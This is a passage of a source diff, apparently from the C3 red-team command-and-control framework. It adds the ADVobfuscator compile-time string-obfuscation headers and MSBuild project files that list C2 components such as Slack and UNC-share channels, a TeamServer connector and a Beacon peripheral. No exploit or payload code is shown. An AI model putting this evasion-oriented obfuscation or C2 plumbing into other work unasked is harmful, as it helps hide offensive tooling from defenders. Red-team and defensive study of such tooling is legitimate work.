||||||
|
template<int N>
|
||||||
|
struct MetaRandomGenerator
|
||||||
|
{
|
||||||
|
private:
|
||||||
|
static constexpr unsigned a = 16807; // 7^5
|
||||||
|
static constexpr unsigned m = 2147483647; // 2^31 - 1
|
||||||
|
|
||||||
|
static constexpr unsigned s = MetaRandomGenerator<N - 1>::value;
|
||||||
|
static constexpr unsigned lo = a * (s & 0xFFFF); // Multiply lower 16 bits by 16807
|
||||||
|
static constexpr unsigned hi = a * (s >> 16); // Multiply higher 16 bits by 16807
|
||||||
|
static constexpr unsigned lo2 = lo + ((hi & 0x7FFF) << 16); // Combine lower 15 bits of hi with lo's upper bits
|
||||||
|
static constexpr unsigned hi2 = hi >> 15; // Discard lower 15 bits of hi
|
||||||
|
static constexpr unsigned lo3 = lo2 + hi;
|
||||||
|
|
||||||
|
public:
|
||||||
|
static constexpr unsigned max = m;
|
||||||
|
static constexpr unsigned value = lo3 > m ? lo3 - m : lo3;
|
||||||
|
};
|
||||||
|
|
||||||
|
template<>
|
||||||
|
struct MetaRandomGenerator<0>
|
||||||
|
{
|
||||||
|
static constexpr unsigned value = seed;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Note: A bias is introduced by the modulo operation.
|
||||||
|
// However, I do belive it is neglictable in this case (M is far lower than 2^31 - 1)
|
||||||
|
|
||||||
|
template<int N, int M>
|
||||||
|
struct MetaRandom
|
||||||
|
{
|
||||||
|
#ifdef NDEBUG
|
||||||
|
static constexpr int value = MetaRandomGenerator<N + 1>::value % M;
|
||||||
|
#else
|
||||||
|
static constexpr int value = N % M;
|
||||||
|
#endif // NDEBUG
|
||||||
|
};
|
||||||
|
|
||||||
|
}}
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,266 @@
|
||||||
|
//
|
||||||
|
// MetaString.h
|
||||||
|
// ADVobfuscator
|
||||||
|
//
|
||||||
|
// Copyright (c) 2010-2017, Sebastien Andrivet
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||||
|
//
|
||||||
|
// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||||
|
//
|
||||||
|
// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||||
|
//
|
||||||
|
// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
//
|
||||||
|
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
//
|
||||||
|
// Get latest version on https://github.com/andrivet/ADVobfuscator
|
||||||
|
|
||||||
|
#ifndef MetaString_h
|
||||||
|
#define MetaString_h
|
||||||
|
|
||||||
|
#include "Inline.h"
|
||||||
|
#include "Indexes.h"
|
||||||
|
#include "MetaRandom.h"
|
||||||
|
#include "Common/MWR/SecureString.hpp"
|
||||||
|
|
||||||
|
namespace andrivet::ADVobfuscator
|
||||||
|
{
|
||||||
|
// Helper to generate a key
|
||||||
|
template<typename T, int N>
|
||||||
|
struct MetaRandomChar
|
||||||
|
{
|
||||||
|
// Use 0x7F as maximum value since most of the time, char is signed (we have however 1 bit less of randomness)
|
||||||
|
static const char value = static_cast<T>(1 + MetaRandom<N, 0x7F - 1>::value);
|
||||||
|
};
|
||||||
|
|
||||||
|
// Represents an obfuscated string, parametrized with an algorithm number N, a list of indexes Indexes and a key Key
|
||||||
|
template<int N, char Key, typename Indexes>
|
||||||
|
struct MetaString;
|
||||||
|
|
||||||
|
// Partial specialization with a list of indexes I, a key K and algorithm N = 0
|
||||||
|
// Each character is encrypted (XOR) with the same key
|
||||||
|
|
||||||
|
template<char K, int... I>
|
||||||
|
struct MetaString<0, K, Indexes<I...>>
|
||||||
|
{
|
||||||
|
// Constructor. Evaluated at compile time.
|
||||||
|
constexpr ALWAYS_INLINE MetaString(const char* str)
|
||||||
|
: key_{ K }, buffer_{ encrypt(str[I], K)... } { }
|
||||||
|
|
||||||
|
// Runtime decryption. Most of the time, inlined
|
||||||
|
inline const char* decrypt()
|
||||||
|
{
|
||||||
|
for (size_t i = 0; i < sizeof...(I); ++i)
|
||||||
|
buffer_[i] = decrypt(buffer_[i]);
|
||||||
|
buffer_[sizeof...(I)] = 0;
|
||||||
|
return const_cast<const char*>(buffer_);
|
||||||
|
}
|
||||||
|
|
||||||
|
~MetaString()
|
||||||
|
{
|
||||||
|
SecureZeroMemory((void*)buffer_, sizeof(buffer_));
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
// Encrypt / decrypt a character of the original string with the key
|
||||||
|
constexpr char key() const { return key_; }
|
||||||
|
constexpr char ALWAYS_INLINE encrypt(char c, int k) const { return c ^ k; }
|
||||||
|
constexpr char decrypt(char c) const { return encrypt(c, key()); }
|
||||||
|
|
||||||
|
volatile int key_; // key. "volatile" is important to avoid uncontrolled over-optimization by the compiler
|
||||||
|
volatile char buffer_[sizeof...(I) + 1]; // Buffer to store the encrypted string + terminating null byte
|
||||||
|
};
|
||||||
|
|
||||||
|
// Partial specialization with a list of indexes I, a key K and algorithm N = 1
|
||||||
|
// Each character is encrypted (XOR) with an incremented key.
|
||||||
|
|
||||||
|
template<char K, int... I>
|
||||||
|
struct MetaString<1, K, Indexes<I...>>
|
||||||
|
{
|
||||||
|
// Constructor. Evaluated at compile time.
|
||||||
|
constexpr ALWAYS_INLINE MetaString(const char* str)
|
||||||
|
: key_(K), buffer_{ encrypt(str[I], I)... } { }
|
||||||
|
|
||||||
|
// Runtime decryption. Most of the time, inlined
|
||||||
|
inline const char* decrypt()
|
||||||
|
{
|
||||||
|
for (size_t i = 0; i < sizeof...(I); ++i)
|
||||||
|
buffer_[i] = decrypt(buffer_[i], i);
|
||||||
|
buffer_[sizeof...(I)] = 0;
|
||||||
|
return const_cast<const char*>(buffer_);
|
||||||
|
}
|
||||||
|
|
||||||
|
~MetaString()
|
||||||
|
{
|
||||||
|
SecureZeroMemory((void*)buffer_, sizeof(buffer_));
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
// Encrypt / decrypt a character of the original string with the key
|
||||||
|
constexpr char key(size_t position) const { return static_cast<char>(key_ + position); }
|
||||||
|
constexpr char ALWAYS_INLINE encrypt(char c, size_t position) const { return c ^ key(position); }
|
||||||
|
constexpr char decrypt(char c, size_t position) const { return encrypt(c, position); }
|
||||||
|
|
||||||
|
volatile int key_; // key. "volatile" is important to avoid uncontrolled over-optimization by the compiler
|
||||||
|
volatile char buffer_[sizeof...(I) + 1]; // Buffer to store the encrypted string + terminating null byte
|
||||||
|
};
|
||||||
|
|
||||||
|
// Partial specialization with a list of indexes I, a key K and algorithm N = 2
|
||||||
|
// Shift the value of each character and does not store the key. It is only used at compile-time.
|
||||||
|
|
||||||
|
template<char K, int... I>
|
||||||
|
struct MetaString<2, K, Indexes<I...>>
|
||||||
|
{
|
||||||
|
// Constructor. Evaluated at compile time. Key is *not* stored
|
||||||
|
constexpr ALWAYS_INLINE MetaString(const char* str)
|
||||||
|
: buffer_{ encrypt(str[I])..., 0 } { }
|
||||||
|
|
||||||
|
// Runtime decryption. Most of the time, inlined
|
||||||
|
inline const char* decrypt()
|
||||||
|
{
|
||||||
|
for (size_t i = 0; i < sizeof...(I); ++i)
|
||||||
|
buffer_[i] = decrypt(buffer_[i]);
|
||||||
|
return const_cast<const char*>(buffer_);
|
||||||
|
}
|
||||||
|
|
||||||
|
~MetaString()
|
||||||
|
{
|
||||||
|
SecureZeroMemory((void*)buffer_, sizeof(buffer_));
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
// Encrypt / decrypt a character of the original string with the key
|
||||||
|
// Be sure that the encryption key is never 0.
|
||||||
|
constexpr char key(char key) const { return 1 + (key % 13); }
|
||||||
|
constexpr char ALWAYS_INLINE encrypt(char c) const { return c + key(K); }
|
||||||
|
constexpr char decrypt(char c) const { return c - key(K); }
|
||||||
|
|
||||||
|
// Buffer to store the encrypted string + terminating null byte. Key is not stored
|
||||||
|
volatile char buffer_[sizeof...(I) + 1];
|
||||||
|
};
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
//Wchar
|
||||||
|
// Represents an obfuscated string, parametrized with an algorithm number N, a list of indexes Indexes and a key Key
|
||||||
|
template<int N, wchar_t Key, typename Indexes>
|
||||||
|
struct MetaWString;
|
||||||
|
|
||||||
|
// Partial specialization with a list of indexes I, a key K and algorithm N = 0
|
||||||
|
// Each wchar_tacter is encrypted (XOR) with the same key
|
||||||
|
|
||||||
|
template<wchar_t K, int... I>
|
||||||
|
struct MetaWString<0, K, Indexes<I...>>
|
||||||
|
{
|
||||||
|
// Constructor. Evaluated at compile time.
|
||||||
|
constexpr ALWAYS_INLINE MetaWString(const wchar_t* str)
|
||||||
|
: key_{ K }, buffer_{ encrypt(str[I], K)... } { }
|
||||||
|
|
||||||
|
// Runtime decryption. Most of the time, inlined
|
||||||
|
inline const wchar_t* decrypt()
|
||||||
|
{
|
||||||
|
for (size_t i = 0; i < sizeof...(I); ++i)
|
||||||
|
buffer_[i] = decrypt(buffer_[i]);
|
||||||
|
buffer_[sizeof...(I)] = 0;
|
||||||
|
return const_cast<const wchar_t*>(buffer_);
|
||||||
|
}
|
||||||
|
|
||||||
|
~MetaWString()
|
||||||
|
{
|
||||||
|
SecureZeroMemory((void*)buffer_, sizeof(buffer_));
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
// Encrypt / decrypt a wchar_tacter of the original string with the key
|
||||||
|
constexpr wchar_t key() const { return key_; }
|
||||||
|
constexpr wchar_t ALWAYS_INLINE encrypt(wchar_t c, int k) const { return c ^ k; }
|
||||||
|
constexpr wchar_t decrypt(wchar_t c) const { return encrypt(c, key()); }
|
||||||
|
|
||||||
|
volatile int key_; // key. "volatile" is important to avoid uncontrolled over-optimization by the compiler
|
||||||
|
volatile wchar_t buffer_[sizeof...(I) + 1]; // Buffer to store the encrypted string + terminating null byte
|
||||||
|
};
|
||||||
|
|
||||||
|
// Partial specialization with a list of indexes I, a key K and algorithm N = 1
|
||||||
|
// Each wchar_tacter is encrypted (XOR) with an incremented key.
|
||||||
|
|
||||||
|
template<wchar_t K, int... I>
|
||||||
|
struct MetaWString<1, K, Indexes<I...>>
|
||||||
|
{
|
||||||
|
// Constructor. Evaluated at compile time.
|
||||||
|
constexpr ALWAYS_INLINE MetaWString(const wchar_t* str)
|
||||||
|
: key_(K), buffer_{ encrypt(str[I], I)... } { }
|
||||||
|
|
||||||
|
// Runtime decryption. Most of the time, inlined
|
||||||
|
inline const wchar_t* decrypt()
|
||||||
|
{
|
||||||
|
for (size_t i = 0; i < sizeof...(I); ++i)
|
||||||
|
buffer_[i] = decrypt(buffer_[i], i);
|
||||||
|
buffer_[sizeof...(I)] = 0;
|
||||||
|
return const_cast<const wchar_t*>(buffer_);
|
||||||
|
}
|
||||||
|
|
||||||
|
~MetaWString()
|
||||||
|
{
|
||||||
|
SecureZeroMemory((void*)buffer_, sizeof(buffer_));
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
// Encrypt / decrypt a wchar_tacter of the original string with the key
|
||||||
|
constexpr wchar_t key(size_t position) const { return static_cast<wchar_t>(key_ + position); }
|
||||||
|
constexpr wchar_t ALWAYS_INLINE encrypt(wchar_t c, size_t position) const { return c ^ key(position); }
|
||||||
|
constexpr wchar_t decrypt(wchar_t c, size_t position) const { return encrypt(c, position); }
|
||||||
|
|
||||||
|
volatile int key_; // key. "volatile" is important to avoid uncontrolled over-optimization by the compiler
|
||||||
|
volatile wchar_t buffer_[sizeof...(I) + 1]; // Buffer to store the encrypted string + terminating null byte
|
||||||
|
};
|
||||||
|
|
||||||
|
// Partial specialization with a list of indexes I, a key K and algorithm N = 2
|
||||||
|
// Shift the value of each wchar_tacter and does not store the key. It is only used at compile-time.
|
||||||
|
|
||||||
|
template<wchar_t K, int... I>
|
||||||
|
struct MetaWString<2, K, Indexes<I...>>
|
||||||
|
{
|
||||||
|
// Constructor. Evaluated at compile time. Key is *not* stored
|
||||||
|
constexpr ALWAYS_INLINE MetaWString(const wchar_t* str)
|
||||||
|
: buffer_{ encrypt(str[I])..., 0 } { }
|
||||||
|
|
||||||
|
// Runtime decryption. Most of the time, inlined
|
||||||
|
inline const wchar_t* decrypt()
|
||||||
|
{
|
||||||
|
for (size_t i = 0; i < sizeof...(I); ++i)
|
||||||
|
buffer_[i] = decrypt(buffer_[i]);
|
||||||
|
return const_cast<const wchar_t*>(buffer_);
|
||||||
|
}
|
||||||
|
|
||||||
|
~MetaWString()
|
||||||
|
{
|
||||||
|
SecureZeroMemory((void*)buffer_, sizeof(buffer_));
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
// Encrypt / decrypt a wchar_tacter of the original string with the key
|
||||||
|
// Be sure that the encryption key is never 0.
|
||||||
|
constexpr wchar_t key(wchar_t key) const { return 1 + (key % 13); }
|
||||||
|
constexpr wchar_t ALWAYS_INLINE encrypt(wchar_t c) const { return c + key(K); }
|
||||||
|
constexpr wchar_t decrypt(wchar_t c) const { return c - key(K); }
|
||||||
|
|
||||||
|
// Buffer to store the encrypted string + terminating null byte. Key is not stored
|
||||||
|
volatile wchar_t buffer_[sizeof...(I) + 1];
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// Prefix notation
|
||||||
|
#define DEF_OBFUSCATED(str) andrivet::ADVobfuscator::MetaString<andrivet::ADVobfuscator::MetaRandom<__COUNTER__, 3>::value, andrivet::ADVobfuscator::MetaRandomChar<char, __COUNTER__>::value, andrivet::ADVobfuscator::Make_Indexes<sizeof(str) - 1>::type>(str)
|
||||||
|
#define DEF_OBFUSCATED_W(str) andrivet::ADVobfuscator::MetaWString<andrivet::ADVobfuscator::MetaRandom<__COUNTER__, 3>::value, andrivet::ADVobfuscator::MetaRandomChar<wchar_t, __COUNTER__>::value, andrivet::ADVobfuscator::Make_Indexes<sizeof(str)/(sizeof(wchar_t)) - 1>::type>(str)
|
||||||
|
|
||||||
|
#define OBF(str) (DEF_OBFUSCATED(str).decrypt())
|
||||||
|
#define OBF_W(str) (DEF_OBFUSCATED_W(str).decrypt())
|
||||||
|
|
||||||
|
#define OBF_STR(str) (std::string{DEF_OBFUSCATED(str).decrypt()})
|
||||||
|
#define OBF_WSTR(str) (std::wstring{DEF_OBFUSCATED_W(str).decrypt()})
|
||||||
|
|
||||||
|
#define OBF_SEC(str) (MWR::SecureString{DEF_OBFUSCATED(str).decrypt()})
|
||||||
|
#define OBF_WSEC(str) (MWR::SecureWString{DEF_OBFUSCATED_W(str).decrypt()})
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,2 @@
|
||||||
|
#include "StdAfx.h"
|
||||||
|
#define C3_BUILD_VERSION "C3-1.0.manual-build"
|
|
@ -0,0 +1,103 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<MSBuildAllProjects>$(MSBuildAllProjects);$(MSBuildThisFileFullPath)</MSBuildAllProjects>
|
||||||
|
<HasSharedItems>true</HasSharedItems>
|
||||||
|
<ItemsProjectGuid>{5cc52339-4b11-47df-b1db-18fbcf057123}</ItemsProjectGuid>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup>
|
||||||
|
<ClCompile>
|
||||||
|
<AdditionalIncludeDirectories>%(AdditionalIncludeDirectories);$(MSBuildThisFileDirectory)</AdditionalIncludeDirectories>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ProjectCapability Include="SourceItemsFromImports" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Channels\Slack.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Channels\UncShareFile.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Connectors\MockServer.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Connectors\TeamServer.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Peripherals\Mock.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Peripherals\Beacon.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\Interface.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\InterfaceFactory.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\CppTools\ByteVector.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\CppTools\ByteView.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\CppTools\Encryption.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\CppTools\Utils.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\Crypto\Sodium.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\Slack\SlackApi.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\Sockets\AddrInfo.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\Sockets\DuplexConnection.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\Sockets\InitializeSockets.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\Sockets\Socket.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\WinTools\AbstractService.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\WinTools\HostInfo.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\WinTools\Pipe.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\WinTools\Proxy.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\WinTools\Services.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\WinTools\StructuredExceptionHandling.cpp" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)ADVobfuscator\Indexes.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)ADVobfuscator\Inline.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)ADVobfuscator\MetaRandom.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)ADVobfuscator\MetaString.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)C3_BUILD_VERSION_HASH_PART.hxx" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)CppCodec\base32_default_crockford.hpp" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)CppCodec\base64_default_rfc4648.hpp" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)CppRestSdk\include\cpprest\http_client.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)json\json.hpp" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)libSodium\include\sodium.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Channels\Slack.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Channels\UncShareFile.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Peripherals\Beacon.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\AutomaticRegistrator.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\BackendCommons.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\HasConstructor.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\Interface.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\Interface.hxx" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\InterfaceFactory.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Peripherals\Mock.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\PrecompiledHeader.hpp" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Sdk.hpp" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\ByteArray.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\ByteVector.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\ByteView.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\Encryption.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\Hash.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\Payload.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\PrecompiledHeader.hpp" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\SafeSmartPointerContainer.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\ScopeGuard.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\SecureString.hpp" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\Utils.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\XError.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Crypto\Base32.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Crypto\Base64.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Crypto\Crypto.hpp" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Crypto\EncryptionKey.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Crypto\Nonce.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Crypto\PrecompiledHeader.hpp" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Crypto\Sodium.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\PrecompiledHeader.hpp" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Slack\SlackApi.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Sockets\AddrInfo.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Sockets\DuplexConnection.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Sockets\InitializeSockets.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Sockets\PrecompiledHeader.hpp" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Sockets\Socket.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Sockets\SocketsException.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Sockets\Sockets.hpp" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\AbstractService.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\HostInfo.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\Pipe.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\Proxy.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\PrecompiledHeader.hpp" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\Services.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\StructuredExceptionHandling.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\UniqueHandle.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\XError.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
|
@ -0,0 +1,90 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Channels\UncShareFile.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Connectors\MockServer.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Connectors\TeamServer.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Peripherals\Mock.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Peripherals\Beacon.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\Interface.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\InterfaceFactory.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\CppTools\ByteVector.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\CppTools\ByteView.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\CppTools\Encryption.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\CppTools\Utils.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\Crypto\Sodium.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\Sockets\AddrInfo.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\Sockets\InitializeSockets.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\Sockets\Socket.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\WinTools\AbstractService.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\WinTools\Pipe.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\WinTools\Proxy.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\WinTools\Services.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\Sockets\DuplexConnection.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\Slack\SlackApi.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Channels\Slack.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\WinTools\HostInfo.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\WinTools\StructuredExceptionHandling.cpp" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)CppCodec\base32_default_crockford.hpp" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)CppCodec\base64_default_rfc4648.hpp" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)CppRestSdk\include\cpprest\http_client.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)json\json.hpp" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)libSodium\include\sodium.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Channels\UncShareFile.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Peripherals\Beacon.h" />
|
||||||
|
